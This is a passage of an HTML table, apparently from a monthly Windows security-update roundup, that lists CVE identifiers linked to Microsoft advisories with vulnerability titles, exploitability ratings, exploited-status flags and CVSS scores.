DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65795">CVE-2026-65795</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65797">CVE-2026-65797</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65799">CVE-2026-65799</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65798">CVE-2026-65798</a></td><td><p>Windows DNS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62787">CVE-2026-62787</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62817">CVE-2026-62817</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62820">CVE-2026-62820</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62878">CVE-2026-62878</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65789">CVE-2026-65789</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61920">CVE-2026-61920</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61932">CVE-2026-61932</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62894">CVE-2026-62894</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62888">CVE-2026-62888</a></td><td><p>Windows DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61933">CVE-2026-61933</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62703">CVE-2026-62703</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59128">CVE-2026-59128</a></td><td><p>Windows Encrypting File System (EFS) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59126">CVE-2026-59126</a></td><td><p>Windows Event Logging Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59137">CVE-2026-59137</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61347">CVE-2026-61347</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65662">CVE-2026-65662</a></td><td><p>Windows GDI Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61360">CVE-2026-61360</a></td><td><p>Windows GDI Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62890">CVE-2026-62890</a></td><td><p>Windows GDI+ Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62709">CVE-2026-62709</a></td><td><p>Windows GDI+ Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62822">CVE-2026-62822</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62702">CVE-2026-62702</a></td><td><p>Windows Graphics Kernel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61346">CVE-2026-61346</a></td><td><p>Windows Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62774">CVE-2026-62774</a></td><td><p>Windows Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61928">CVE-2026-61928</a></td><td><p>Windows Hello Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62750">CVE-2026-62750</a></td><td><p>Windows HTTP Protocol Stack Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61937">CVE-2026-61937</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62753">CVE-2026-62753</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62735">CVE-2026-62735</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62739">CVE-2026-62739</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62741">CVE-2026-62741</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62811">CVE-2026-62811</a></td><td><p>Windows HTTP.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61368"><br/>CVE-2026-61368</a></td><td><p>Windows Hyper-V Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62740">CVE-2026-62740</a></td><td><p>Windows Imaging Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54984">CVE-2026-54984</a></td><td><p>Windows Imaging Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-59127">CVE-2026-59127</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61925">CVE-2026-61925</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70344">CVE-2026-70344</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70345">CVE-2026-70345</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70346">CVE-2026-70346</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70347">CVE-2026-70347</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61938">CVE-2026-61938</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62768">CVE-2026-62768</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65774">CVE-2026-65774</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65681">CVE-2026-65681</a></td><td><p>Windows iSCSI Target Service Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65796">CVE-2026-65796</a></td><td><p>Windows iSCSI Target Service Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65679">CVE-2026-65679</a></td><td><p>Windows iSCSI Target Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65791">CVE-2026-65791</a></td><td><p>Windows iSCSI Target Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62754">CVE-2026-62754</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62766">CVE-2026-62766</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62773">CVE-2026-62773</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62752">CVE-2026-62752</a></td><td><p>Windows Kerberos Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61930">CVE-2026-61930</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62737">CVE-2026-62737</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61929">CVE-2026-61929</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62708">CVE-2026-62708</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62749">CVE-2026-62749</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62780">CVE-2026-62780</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62788">CVE-2026-62788</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65773">CVE-2026-65773</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-66799">CVE-2026-66799</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62785">CVE-2026-62785</a></td><td><p>Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62795">CVE-2026-62795</a></td><td><p>Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62777">CVE-2026-62777</a></td><td><p>Windows License Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50472">CVE-2026-50472</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62738">CVE-2026-62738</a></td><td><p>Windows Management Instrumentation Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-70348">CVE-2026-70348</a></td><td><p>Windows Management Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62719">CVE-2026-62719</a></td><td><p>Windows Message Queuing Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62717">CVE-2026-62717</a></td><td><p>Windows Message Queuing Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65790">CVE-2026-65790</a></td><td><p>Windows Message Queuing Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62688">CVE-2026-62688</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62693">CVE-2026-62693</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62707">CVE-2026-62707</a></td><td><p>Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56174">CVE-2026-56174</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56179">CVE-2026-56179</a></td><td><p>Windows Network Address Translation (NAT) Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61366">CVE-2026-61366</a></td><td><p>Windows Network Connection Broker Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-68819">CVE-2026-68819</a></td><td><p>Windows Network File System Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62797">CVE-2026-62797</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62700">CVE-2026-62700</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62880">CVE-2026-62880</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61350">CVE-2026-61350</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62796">CVE-2026-62796</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65784">CVE-2026-65784</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62793">CVE-2026-62793</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62887">CVE-2026-62887</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62696">CVE-2026-62696</a></td><td><p>Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62751">CVE-2026-62751</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62690">CVE-2026-62690</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62816">CVE-2026-62816</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62783">CVE-2026-62783</a></td><td><p>Windows Remote Access Connection Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62758">CVE-2026-62758</a></td><td><p>Windows Remote Access Connection Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61924">CVE-2026-61924</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61918">CVE-2026-61918</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61921">CVE-2026-61921</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61356">CVE-2026-61356</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61367">CVE-2026-61367</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62692">CVE-2026-62692</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61364">CVE-2026-61364</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61365">CVE-2026-61365</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62819">CVE-2026-62819</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62779">CVE-2026-62779</a></td><td><p>Windows Schannel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62757">CVE-2026-62757</a></td><td><p>Windows Schannel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62889">CVE-2026-62889</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-61355">CVE-2026-61355</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62770">CVE-2026-62770</a></td><td><p>Windows Shell Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62799">CVE-2026-62799</a></td><td><p>Windows SMB Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-62782">CVE-2026-62782</a></td><td><p>Windows SMB Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-65794">CVE-2026-65794</a></td><td><p>Windows SMB Client Information Disclosure 